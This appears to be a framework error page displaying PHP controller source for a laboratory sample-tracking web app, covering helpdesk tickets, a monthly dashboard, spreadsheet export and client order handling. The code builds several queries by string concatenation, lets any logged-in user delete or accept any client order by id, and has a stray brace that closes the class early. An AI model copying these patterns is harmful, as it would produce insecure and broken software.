src/Controller/DefaultController.php line 290

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Dto\MinExportCountryRelationPayload;
  4. use App\Entity\AuBatch;
  5. use App\Entity\CatRequest;
  6. use App\Entity\ClientParcel;
  7. use App\Entity\DISQBatch;
  8. use App\Entity\ElSample;
  9. use App\Entity\Exports;
  10. use App\Entity\FABatch;
  11. use App\Entity\FeedEntry;
  12. use App\Entity\FInventory;
  13. use App\Entity\Helpdesk;
  14. use App\Entity\ICPBatch;
  15. use App\Entity\ICPRun;
  16. use App\Entity\Inventory;
  17. use App\Entity\Invoice;
  18. use App\Entity\Log;
  19. use App\Entity\Moists;
  20. use App\Entity\MonthlyBonus;
  21. use App\Entity\Orders;
  22. use App\Entity\Params;
  23. use App\Entity\PRun;
  24. use App\Entity\RRun;
  25. use App\Entity\Stock;
  26. use App\Entity\StockManagement;
  27. use App\Entity\User;
  28. use App\Service\AuBatchManager;
  29. use App\Service\ExportCountryRelationService;
  30. use Doctrine\ORM\EntityManagerInterface;
  31. use Doctrine\ORM\QueryBuilder;
  32. use Doctrine\ORM\Query;
  33. use Doctrine\ORM\Tools\Pagination\Paginator;
  34. use http\Client;
  35. use phpDocumentor\Reflection\Types\Null_;
  36. use Symfony\Component\HttpFoundation\JsonResponse;
  37. use Symfony\Component\HttpFoundation\Request;
  38. use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
  39. use Symfony\Component\Routing\Annotation\Route;
  40. use Symfony\Component\HttpFoundation\Response;
  41. use Symfony\Component\HttpFoundation\RedirectResponse;
  42. use Symfony\Component\Serializer\Encoder\JsonEncoder;
  43. use Symfony\Component\Serializer\Encoder\XmlEncoder;
  44. use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
  45. use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
  46. use Symfony\Component\Serializer\Serializer;
  47. use Symfony\Component\HttpFoundation\ResponseHeaderBag;
  48. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  49. use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface;
  50. use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
  51. use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
  52. use PhpOffice\PhpSpreadsheet\Spreadsheet;
  53. use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
  54. use PhpOffice\PhpSpreadsheet\Writer\Xls;
  55. use PhpOffice\PhpSpreadsheet\Style\Fill;
  56. use PhpOffice\PhpSpreadsheet\Style\Border;
  57. use PhpOffice\PhpSpreadsheet\Style\Alignment;
  58. use Symfony\Component\HttpFoundation\StreamedResponse;
  59. class DefaultController extends AbstractController
  60. {
  61. /**
  62. * @var EntityManager
  63. */
  64. protected $em;
  65. protected $translator;
  66. protected $passwordEncoder;
  67. public function __construct(EntityManagerInterface $entityManager,UserPasswordEncoderInterface $passwordEncoder)
  68. {
  69. $this->em = $entityManager;
  70. $this->passwordEncoder = $passwordEncoder;
  71. }
  72. private function ensureCurrentMonthExists()
  73. {
  74. $currentDate = new \DateTime();
  75. $currentMonth = (int)$currentDate->format('n');
  76. $currentYear = $currentDate->format('Y');
  77. // Check if current month exists
  78. $existingBonus = $this->getDoctrine()
  79. ->getRepository(MonthlyBonus::class)
  80. ->findOneBy([
  81. 'MonthNo' => $currentMonth,
  82. 'year' => $currentYear
  83. ]);
  84. if (!$existingBonus) {
  85. // Get the most recent bonus record
  86. $lastBonus = $this->getDoctrine()
  87. ->getRepository(MonthlyBonus::class)
  88. ->findOneBy([], ['year' => 'DESC', 'MonthNo' => 'DESC']);
  89. if (!$lastBonus) {
  90. // No records exist, create current month with default target
  91. $newBonus = new MonthlyBonus();
  92. $newBonus->setMonthNo($currentMonth);
  93. $newBonus->setMonthName($currentDate->format('F'));
  94. $newBonus->setYear($currentYear);
  95. $newBonus->setSampleNumber(200);
  96. $newBonus->setActive(true);
  97. $this->em->persist($newBonus);
  98. $this->em->flush();
  99. return;
  100. }
  101. // Get the target from last bonus
  102. $sampleTarget = $lastBonus->getSampleNumber();
  103. // Create all missing months from last existing month to current month
  104. $startDate = new \DateTime($lastBonus->getYear() . '-' . $lastBonus->getMonthNo() . '-01');
  105. $startDate->modify('+1 month'); // Start from next month after last existing
  106. while ($startDate <= $currentDate) {
  107. $monthNo = (int)$startDate->format('n');
  108. $year = $startDate->format('Y');
  109. // Check if this month already exists
  110. $exists = $this->getDoctrine()
  111. ->getRepository(MonthlyBonus::class)
  112. ->findOneBy([
  113. 'MonthNo' => $monthNo,
  114. 'year' => $year
  115. ]);
  116. if (!$exists) {
  117. $newBonus = new MonthlyBonus();
  118. $newBonus->setMonthNo($monthNo);
  119. $newBonus->setMonthName($startDate->format('F'));
  120. $newBonus->setYear($year);
  121. $newBonus->setSampleNumber($sampleTarget);
  122. $newBonus->setActive(false); // Set all to inactive first
  123. $this->em->persist($newBonus);
  124. }
  125. $startDate->modify('+1 month');
  126. }
  127. $this->em->flush();
  128. // Now deactivate ALL months and activate only the current month
  129. $allBonuses = $this->getDoctrine()
  130. ->getRepository(MonthlyBonus::class)
  131. ->findAll();
  132. foreach ($allBonuses as $bonus) {
  133. if ($bonus->getMonthNo() == $currentMonth && $bonus->getYear() == $currentYear) {
  134. $bonus->setActive(true);
  135. } else {
  136. $bonus->setActive(false);
  137. }
  138. }
  139. $this->em->flush();
  140. }
  141. }
  142. /**
  143. * @IsGranted("ROLE_USER")
  144. * @Route("/recent", name="recent")
  145. */
  146. public function recent()
  147. {
  148. return $this->render('cats/recent.html.twig');
  149. }
  150. //=====================================================================================================================================================================================<
  151. /**
  152. * @IsGranted("ROLE_USER")
  153. * @Route("/helpdesk", name="helpdesk")
  154. */
  155. public function helpdesk()
  156. {
  157. $tickets = $this->getDoctrine()->getRepository(Helpdesk::class)->findTicketsSorted();
  158. return $this->render('cats/helpdesk.html.twig', ['tickets' => $tickets]);
  159. }
  160. /**
  161. * @IsGranted("ROLE_USER")
  162. * @Route("/helpdesk/add", name="add_ticket", methods={"POST"})
  163. */
  164. public function addTicket(Request $request, EntityManagerInterface $entityManager) : JsonResponse
  165. {
  166. $data = json_decode($request->getContent(), true);
  167. $ticket = (new Helpdesk())
  168. ->setUser(!empty($data['user']) ? $data['user'] : 'Anonymous')
  169. ->setTitle($data['title'])
  170. ->setIssue($data['issue'])
  171. ->setType($data['type'])
  172. ->setStatus('Open')
  173. ->setPriority('Low')
  174. ->setDateAdded(new \DateTime())
  175. ->setDateModified(new \DateTime());
  176. $entityManager->persist($ticket);
  177. $entityManager->flush();
  178. return new JsonResponse(['message' => 'Ticket created successfully!'], JsonResponse::HTTP_CREATED);
  179. }
  180. /**
  181. * @IsGranted("ROLE_USER")
  182. * @Route("/helpdesk/delete/{id}", name="delete_ticket", methods={"DELETE"})
  183. */
  184. public function deleteTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  185. {
  186. // Check if ticket exists
  187. if (!$ticket) {
  188. return new JsonResponse(['error' => 'Ticket not found'], 404);
  189. }
  190. $entityManager->remove($ticket);
  191. $entityManager->flush();
  192. return new JsonResponse(['message' => 'Ticket deleted successfully'], 200);
  193. }
  194. // Fetch the ticket data by ID
  195. /**
  196. * @IsGranted("ROLE_USER")
  197. * @Route("/helpdesk/edit/{id}", name="helpdesk_edit", methods={"GET"})
  198. */
  199. public function editTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  200. {
  201. if (!$ticket) {
  202. return new JsonResponse(['error' => 'Ticket not found'], JsonResponse::HTTP_NOT_FOUND);
  203. }
  204. // Return ticket data as JSON response
  205. return new JsonResponse([
  206. 'data' => [
  207. 'id' => $ticket->getId(),
  208. 'user' => $ticket->getUser(),
  209. 'title' => $ticket->getTitle(),
  210. 'issue' => $ticket->getIssue(),
  211. 'type' => $ticket->getType(),
  212. 'status' => $ticket->getStatus(),
  213. 'priority' => $ticket->getPriority(),
  214. 'deadline' => $ticket->getDeadline() ? $ticket->getDeadline()->format('Y-m-d') : null
  215. ]
  216. ]);
  217. }
  218. // Update ticket information
  219. /**
  220. * @IsGranted("ROLE_USER")
  221. * @Route("/helpdesk/edit/{id}", name="helpdesk_update", methods={"POST"})
  222. */
  223. public function updateTicket(Helpdesk $ticket, Request $request, EntityManagerInterface $entityManager) : JsonResponse
  224. {
  225. if (!$ticket) {
  226. return new JsonResponse(['error' => 'Ticket not found'], 404);
  227. }
  228. $data = json_decode($request->getContent(), true);
  229. // Update ticket fields
  230. $ticket->setUser($data['user'])
  231. ->setTitle($data['title'])
  232. ->setIssue($data['issue'])
  233. ->setType($data['type'])
  234. ->setStatus($data['status'])
  235. ->setPriority($data['priority'])
  236. ->setDeadline($data['deadline'] ? new \DateTime($data['deadline']) : null)
  237. ->setDateModified(new \DateTime());
  238. if ($data['status'] === 'Closed (Solved)' || $data['status'] === 'Closed (Rejected)'){
  239. $ticket->setDateFinished(new \DateTime());
  240. }
  241. $entityManager->flush();
  242. return new JsonResponse(['message' => 'Ticket updated successfully'], 200);
  243. }
  244. //=====================================================================================================================================================================================<
  245. /**
  246. * @IsGranted("ROLE_USER")
  247. * @Route("/", name="dashboard")
  248. * @param Request $request
  249. * @return Response $response
  250. */
  251. public function index(Request $request)
  252. {
  253. if (in_array("ROLE_LABUSER",$this->getUser()->getRoles())){
  254. // $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  255. $this->ensureCurrentMonthExists();
  256. $month = $request->get("month") ?? null;
  257. $year = $request->get("year") ?? null;
  258. if ($month !=null && $year !=null){
  259. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  260. 'year' => "$year",
  261. "MonthNo" => "$month"
  262. ]);
  263. } else {
  264. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  265. "active" => "1"
  266. ],[
  267. 'id' => 'DESC'
  268. ]);
  269. }
  270. // $qb instanceof QueryBuilder
  271. $qb = $this->em->createQueryBuilder();
  272. $qb->select('count(t.id)');
  273. $qb->from(Inventory::class, 't');
  274. $qb->add('where', "t.dateMilled between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  275. // $qb->where('t.dateFinished > 2020-09-18');
  276. $qb->setMaxResults('1');
  277. $milled = $qb->getQuery()->getSingleScalarResult();
  278. // $qb instanceof QueryBuilder
  279. $qb = $this->em->createQueryBuilder();
  280. $qb->select('count(t.id)');
  281. $qb->from(Inventory::class, 't');
  282. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  283. // $qb->where('t.dateFinished > 2020-09-18');
  284. $qb->setMaxResults('1');
  285. $result = $qb->getQuery()->getSingleScalarResult();
  286. // $qb instanceof QueryBuilder
  287. $qb = $this->em->createQueryBuilder();
  288. $qb->select('count(t.id)');
  289. $qb->from(Moists::class, 't');
  290. $qb->add('where', "t.DateArchived between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  291. // $qb->where('t.dateFinished > 2020-09-18');
  292. $qb->setMaxResults('1');
  293. $moists = $qb->getQuery()->getSingleScalarResult();
  294. $qb1 = $this->em->createQueryBuilder();
  295. $qb1->select('t');
  296. $qb1->from(FABatch::class, 't');
  297. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  298. $anotherresult = $qb1->getQuery()->getResult();
  299. $loginfo= [];
  300. $loginfo2= [];
  301. $batchesdaily = [];
  302. $batchesdaily2 = [];
  303. $anotherresult2 = 0;
  304. $anotherresult4 = 0;
  305. $tasks= [];
  306. foreach ($anotherresult as $x){
  307. array_push($loginfo, $x->getDateFinished()->format('j'));
  308. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  309. $stmt = $this->em->getConnection()->prepare($sql);
  310. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  311. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  312. }
  313. $qb3 = $this->em->createQueryBuilder();
  314. $qb3->select('t');
  315. $qb3->from(ICPBatch::class, 't');
  316. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  317. $anotherresult3 = $qb3->getQuery()->getResult();
  318. foreach ($anotherresult3 as $x){
  319. array_push($loginfo2, $x->getDate()->format('j'));
  320. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  321. $stmt = $this->em->getConnection()->prepare($sql);
  322. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  323. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  324. }
  325. // $fortasks = $this->getDoctrine()->getRepository(PRun::class)->findBy([], ['id'=>'DESC'], 1500);
  326. // $fortasks2 = $this->getDoctrine()->getRepository(RRun::class)->findBy([], ['id'=>'DESC'], 8000);
  327. $tasks['WeighQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Weigh Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Weigh Q']));
  328. $tasks['FAQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'FA Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'FA Q']));
  329. $tasks['CUPQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'CUP Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'CUP Q']));
  330. $tasks['DISQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'DIS Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'DIS Q']));
  331. $tasks['Confirm']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Confirm?'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Confirm?']));
  332. // $tasks['WeighQ']=0;
  333. // $tasks['FAQ']=0;
  334. // $tasks['CUPQ']=0;
  335. // $tasks['DISQ']=0;
  336. // $tasks['Confirm']=0;
  337. // $names = array("WeighQ","FAQ","CUPQ","DISQ","Confirm");
  338. // foreach ($fortasks2 as $x){
  339. // /* @var RRun $x */
  340. // $status = str_replace([' ', '?'], '', $x->getStatus());
  341. //
  342. // if (in_array($status, $names)){
  343. // $tasks[$status] = $tasks[$status] + 1;
  344. // }
  345. // }
  346. //
  347. // foreach ($fortasks as $x){
  348. // /* @var PRun $x */
  349. // $status = str_replace([' ', '?'], '', $x->getStatus());
  350. //
  351. // if (in_array($status, $names)){
  352. // $tasks[$status] = $tasks[$status] + 1;
  353. // }
  354. // }
  355. $loginfo = array_unique($loginfo);
  356. $loginfo2 = array_unique($loginfo2);
  357. //dump($batchesdaily);
  358. //dump($anotherresult);
  359. //dump($anotherresult2);
  360. $batchesdaily3 = [];
  361. $batchesdaily = !$batchesdaily ? $batchesdaily = [1] : $batchesdaily;
  362. $batchesdaily2 = !$batchesdaily2 ? $batchesdaily2 = [1] : $batchesdaily2;
  363. for ($x=1;$x<= ((max(array_keys($batchesdaily)) > max(array_keys($batchesdaily2))) ? max(array_keys($batchesdaily)) :max(array_keys($batchesdaily2)));$x++){
  364. $batchesdaily3[$x]=[ (array_key_exists($x,$batchesdaily) ? $batchesdaily[$x] : 0) , (array_key_exists($x,$batchesdaily2) ? $batchesdaily2[$x] : 0) ];
  365. }
  366. foreach ($batchesdaily3 as $key => $x){
  367. if ($x[0] == 0 and $x[1] == 0){
  368. unset($batchesdaily3[$key]);
  369. }
  370. }
  371. return $this->render('cats/dashboard.html.twig', [
  372. // 'messages' => $messages,
  373. 'bonuses' => $bonuses,
  374. 'data' => $result,
  375. 'data23' => $anotherresult,
  376. 'loginfo' => $loginfo,
  377. 'batchesdaily' => $batchesdaily,
  378. 'test2' => $anotherresult2,
  379. 'icp' => $anotherresult3,
  380. 'icp2' => $batchesdaily2,
  381. 'tasks' => $tasks,
  382. 'shaggin' => $batchesdaily3,
  383. 'milled' => $milled,
  384. 'moists' => $moists
  385. ]);
  386. } else if (in_array("ROLE_CLIENT",$this->getUser()->getRoles())){
  387. $user = $this->getUser();
  388. $country = $user->getCountry();
  389. //$parcels = $user->getClientParcels();
  390. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  391. 'client' => $user
  392. ],[
  393. 'dateadded' => 'DESC'
  394. ]);
  395. return $this->render('cats/clientdashboard.html.twig', [
  396. 'parcels' => $parcels
  397. ]);
  398. } else {
  399. $user = $this->getUser();
  400. $country = $user->getCountry();
  401. //$parcels = $user->getClientParcels();
  402. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  403. 'client' => $user
  404. ],[
  405. 'dateadded' => 'DESC'
  406. ]);
  407. return $this->render('cats/dashboard.html.twig', [
  408. 'parcels' => $parcels
  409. ]);
  410. }
  411. }
  412. /**
  413. * @Security("is_granted('ROLE_SUPER')")
  414. * @Route("/dashboard/export", name="dashboard_export")
  415. */
  416. public function dashboardExport(Request $request): Response
  417. {
  418. $month = (int)($request->get("month") ?? date('n'));
  419. $year = (int)($request->get("year") ?? date('Y'));
  420. // Add date range support
  421. $dateFrom = $request->get("date_from");
  422. $dateTo = $request->get("date_to");
  423. if ($dateFrom && $dateTo) {
  424. $startDate = $dateFrom . " 00:00:00";
  425. $endDate = $dateTo . " 23:59:59";
  426. $fileName = 'CAT_Report_' . str_replace('-', '', $dateFrom) . '_to_' . str_replace('-', '', $dateTo) . '.xlsx';
  427. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('M d, Y', strtotime($dateFrom)) . ' to ' . date('M d, Y', strtotime($dateTo));
  428. } else {
  429. $startDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-01";
  430. $endDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-31 23:59:59";
  431. $fileName = 'CAT_Report_' . $year . '_' . str_pad($month, 2, '0', STR_PAD_LEFT) . '.xlsx';
  432. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('F', mktime(0, 0, 0, $month, 1)) . ' ' . $year;
  433. }
  434. // Main data query
  435. $sql = "
  436. SELECT
  437. i.id AS `ID`,
  438. DATE_FORMAT(i.dateofreceipt, '%Y-%m-%d %H:%i:%s') AS `Date Added`,
  439. DATE_FORMAT(i.date_finished, '%Y-%m-%d %H:%i:%s') AS `Date Finished`,
  440. i.sample_type AS `Type`,
  441. i.sample_sub_type AS `Subtype`,
  442. i.sample_name AS `Sample Reference`,
  443. i.country AS `Country`,
  444. i.exportno AS `Export #`,
  445. o.orderno AS `Assigned Order`,
  446. i.xrfpt AS `XRF PT`,
  447. i.xrfpd AS `XRF PD`,
  448. i.xrfrh AS `XRF RH`,
  449. i.icppt AS `ICP PT`,
  450. i.icppd AS `ICP PD`,
  451. i.icprh AS `ICP RH`,
  452. i.analysis_status AS `Analysis Status`,
  453. COUNT(DISTINCT r.id) AS `Run Count`,
  454. GROUP_CONCAT(DISTINCT r.rrunref ORDER BY r.id SEPARATOR ', ') AS `Run Refs`
  455. FROM
  456. inventory i
  457. LEFT JOIN
  458. rrun r ON r.assigned_sample_id = i.id
  459. LEFT JOIN
  460. orders o ON i.assigned_order_id = o.id
  461. WHERE
  462. i.analysis_status = 'Completed'
  463. AND i.date_finished BETWEEN ? AND ?
  464. GROUP BY i.id
  465. ORDER BY i.date_finished DESC
  466. ";
  467. $results = $this->em->getConnection()->executeQuery($sql, [
  468. $startDate, $endDate
  469. ])->fetchAllAssociative();
  470. // Summary by Sample Type
  471. $summarySQLWithRuns = "
  472. SELECT
  473. i.sample_type,
  474. COUNT(DISTINCT i.id) as total_samples,
  475. COUNT(DISTINCT r.id) as total_runs
  476. FROM
  477. inventory i
  478. LEFT JOIN
  479. rrun r ON r.assigned_sample_id = i.id
  480. WHERE
  481. i.analysis_status = 'Completed'
  482. AND i.date_finished BETWEEN ? AND ?
  483. GROUP BY i.sample_type
  484. ORDER BY i.sample_type
  485. ";
  486. $summaryResults = $this->em->getConnection()->executeQuery($summarySQLWithRuns, [
  487. $startDate, $endDate
  488. ])->fetchAllAssociative();
  489. // Create Spreadsheet
  490. $spreadsheet = new Spreadsheet();
  491. // Sheet 1: Main Data
  492. $sheet1 = $spreadsheet->getActiveSheet();
  493. $sheet1->setTitle('Sample Data');
  494. if (!empty($results)) {
  495. // Headers
  496. $headers = array_keys($results[0]);
  497. $sheet1->fromArray($headers, null, 'A1');
  498. // Style headers
  499. $headerStyle = $sheet1->getStyle('A1:' . $sheet1->getHighestColumn() . '1');
  500. $headerStyle->getFont()->setBold(true);
  501. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  502. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  503. $headerStyle->getAlignment()->setHorizontal(Alignment::HORIZONTAL_CENTER);
  504. // Data
  505. $sheet1->fromArray($results, null, 'A2', true);
  506. // Center all data cells
  507. $lastRow = count($results) + 1;
  508. $lastColumn = $sheet1->getHighestColumn();
  509. $sheet1->getStyle('A2:' . $lastColumn . $lastRow)
  510. ->getAlignment()
  511. ->setHorizontal(Alignment::HORIZONTAL_CENTER);
  512. // Auto-size columns
  513. foreach (range('A', $sheet1->getHighestColumn()) as $col) {
  514. $sheet1->getColumnDimension($col)->setAutoSize(true);
  515. }
  516. }
  517. // Sheet 2: Summary
  518. $sheet2 = $spreadsheet->createSheet();
  519. $sheet2->setTitle('Summary');
  520. $row = 1;
  521. // Build summary table
  522. $sheet2->setCellValue('A' . $row, $reportTitle);
  523. $sheet2->getStyle('A' . $row)->getFont()->setBold(true)->setSize(14);
  524. $row += 2;
  525. // Headers
  526. $sheet2->fromArray(['Sample Type', 'Total Samples', 'Total Runs'], null, 'A' . $row);
  527. $headerStyle = $sheet2->getStyle('A' . $row . ':C' . $row);
  528. $headerStyle->getFont()->setBold(true);
  529. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  530. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  531. $row++;
  532. // Data rows
  533. $totalSamples = 0;
  534. $totalRuns = 0;
  535. foreach ($summaryResults as $result) {
  536. $sheet2->fromArray([
  537. $result['sample_type'],
  538. $result['total_samples'],
  539. $result['total_runs']
  540. ], null, 'A' . $row);
  541. $totalSamples += (int)$result['total_samples'];
  542. $totalRuns += (int)$result['total_runs'];
  543. $row++;
  544. }
  545. $row++;
  546. // Totals
  547. $sheet2->fromArray([
  548. 'TOTALS',
  549. $totalSamples,
  550. $totalRuns
  551. ], null, 'A' . $row);
  552. $sheet2->getStyle('A' . $row . ':C' . $row)->getFont()->setBold(true)->setSize(12);
  553. $sheet2->getStyle('A' . $row . ':C' . $row)->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FFD9D9D9');
  554. // Auto-size columns
  555. foreach (range('A', 'C') as $col) {
  556. $sheet2->getColumnDimension($col)->setAutoSize(true);
  557. }
  558. // Generate Excel file
  559. $writer = new Xlsx($spreadsheet);
  560. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  561. $writer->save($temp_file);
  562. $response = new Response(file_get_contents($temp_file));
  563. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  564. $response->headers->set('Content-Disposition', 'attachment; filename="' . $fileName . '"');
  565. unlink($temp_file);
  566. return $response;
  567. }
  568. //=====================================================================================================================================================================================<
  569. /**
  570. * @IsGranted("ROLE_USER")
  571. * @Route("/eucats", name="eucats")
  572. */
  573. public function eucats()
  574. {
  575. $user = $this->getUser();
  576. $country = $user->getCountry();
  577. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  578. // 'country' => ["UK","FR","DE","IT","SC","IT1","IT2","IT3","NL"],
  579. // 'sampleType' => ["Model","Models"]
  580. // ],[
  581. // 'id' => 'DESC'
  582. // ]);
  583. return $this->render('cats/eucats.html.twig', [
  584. 'samples' => '$samples',
  585. ]);
  586. }
  587. //=====================================================================================================================================================================================<
  588. /**
  589. * @IsGranted("ROLE_USER")
  590. * @Route("/eucatreqs", name="eucatreqs")
  591. */
  592. public function eucatreqs()
  593. {
  594. $user = $this->getUser();
  595. $country = $user->getCountry();
  596. //dump($country);
  597. $reqs=$this->getDoctrine()->getRepository(CatRequest::class)->findBy([
  598. ],[
  599. 'id' => "DESC"
  600. ]);
  601. //dump($reqs);
  602. return $this->render('cats/eucatreqs.html.twig', [
  603. 'reqs' => $reqs
  604. ]);
  605. }
  606. //=====================================================================================================================================================================================<
  607. /**
  608. * @IsGranted("ROLE_USER")
  609. * @Route("/models", name="models")
  610. */
  611. public function models()
  612. {
  613. $usercountry = $this->getUser()->getCountry();
  614. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  615. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  616. // 'country' => $usercountry,
  617. // 'sampleType' => ["Model","Models"]
  618. // ],[
  619. // 'id' => 'DESC'
  620. // ]);
  621. return $this->render('cats/client.html.twig', [
  622. 'searchlists' => $newvar,
  623. ]);
  624. }
  625. //=====================================================================================================================================================================================<
  626. /**
  627. * @IsGranted("ROLE_USER")
  628. * @Route("/client", name="client")
  629. */
  630. public function client()
  631. {
  632. // $usercountry = $this->getUser()->getCountry();
  633. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  634. // 'country' => $usercountry
  635. // ],[
  636. // 'id' => 'DESC'
  637. // ]);
  638. // $samples2=[];
  639. // if (in_array("WC",$usercountry)){
  640. // $samples2 = $this->em
  641. // ->createQuery(
  642. // "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  643. // )
  644. // ->getResult();
  645. // }
  646. // //dump($samples2);
  647. // $samples = array_merge($samples,$samples2);
  648. // return $this->render('cats/client.html.twig', [
  649. // 'samples' => $samples,
  650. // ]);
  651. $usercountry = $this->getUser()->getCountry();
  652. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  653. return $this->render('cats/client.html.twig', [
  654. 'searchlists' => $newvar,
  655. ]);
  656. }
  657. //=====================================================================================================================================================================================<
  658. /**
  659. * @IsGranted("ROLE_USER")
  660. * @Route("/deleteclientorder/{id}", name="deleteclientorder")
  661. * @param int $id
  662. * @param Request $request
  663. * @return Response $response
  664. */
  665. public function deleteclientorder(int $id, Request $request)
  666. {
  667. $order = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  668. 'id' => $id
  669. ]);
  670. //dump($order);
  671. $this->em->remove($order);
  672. $this->em->flush();
  673. return new Response ("ayylmao");
  674. }
  675. //=====================================================================================================================================================================================<
  676. /**
  677. * @IsGranted("ROLE_USER")
  678. * @Route("/acceptclientorder/{id}", name="acceptclientorder")
  679. * @param int $id
  680. * @param Request $request
  681. * @return Response $response
  682. */
  683. public function acceptclientorder(int $id, Request $request)
  684. {
  685. /** @var ClientParcel $clientparcel */
  686. $clientparcel = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  687. 'id' => $id
  688. ]);
  689. if ($clientparcel->getAccepted() == false){
  690. $clientparcel->setAccepted(true);
  691. $this->em->persist($clientparcel);
  692. /** @var Orders $neworder */
  693. $neworder = new Orders();
  694. $neworder->setSender($clientparcel->getSender());
  695. $neworder->setCourrier($clientparcel->getCourrier());
  696. $neworder->setWaybill($clientparcel->getWaybill());
  697. $neworder->setDateOfReceipt(new \DateTime());
  698. $neworder->setStatus("Open");
  699. $neworder->setOrderno("TO NAME");
  700. $this->em->persist($neworder);
  701. foreach($clientparcel->getDataarray() as $j){
  702. $newsample = new Inventory();
  703. $newsample->setAssignedOrder($neworder);
  704. $newsample->setXrfpt(array_key_exists('pt', $j) ? (float)str_replace(",",".",$j["pt"]) : 0);
  705. $newsample->setXrfpd(array_key_exists('pd', $j) ? (float)str_replace(",",".",$j["pd"]) : 0);
  706. $newsample->setXrfrh(array_key_exists('rh', $j) ? (float)str_replace(",",".",$j["rh"]) : 0);
  707. $newsample->setSampleType($j["type"]);
  708. $newsample->setSampleName($j["reference"]);
  709. $newsample->setCountry($j["country"]);
  710. $newsample->setExportno($j["export"]);
  711. $newsample->setDateofreceipt(new \DateTime());
  712. $newsample->setMass((float)str_replace(",",".",$j['mass']));
  713. $newsample->setAddedtocatalogue(false);
  714. $newsample->setPriority('Normal');
  715. $newsample->setMillStatus("Original");
  716. $newsample->setXrfStatus("To Add");
  717. $newsample->setAnalysisStatus("None");
  718. $newsample->setReady(false);
  719. $this->em->persist($newsample);
  720. }
  721. }
  722. $this->em->flush();
  723. return new Response ("ayylmao");
  724. }
  725. //=====================================================================================================================================================================================<
  726. /**
  727. * @IsGranted("ROLE_USER")
  728. * @Route("/clientaddorder", name="clientaddorder")
  729. */
  730. public function clientaddorder(Request $request)
  731. {
  732. if ( $request->isMethod("post") ) {
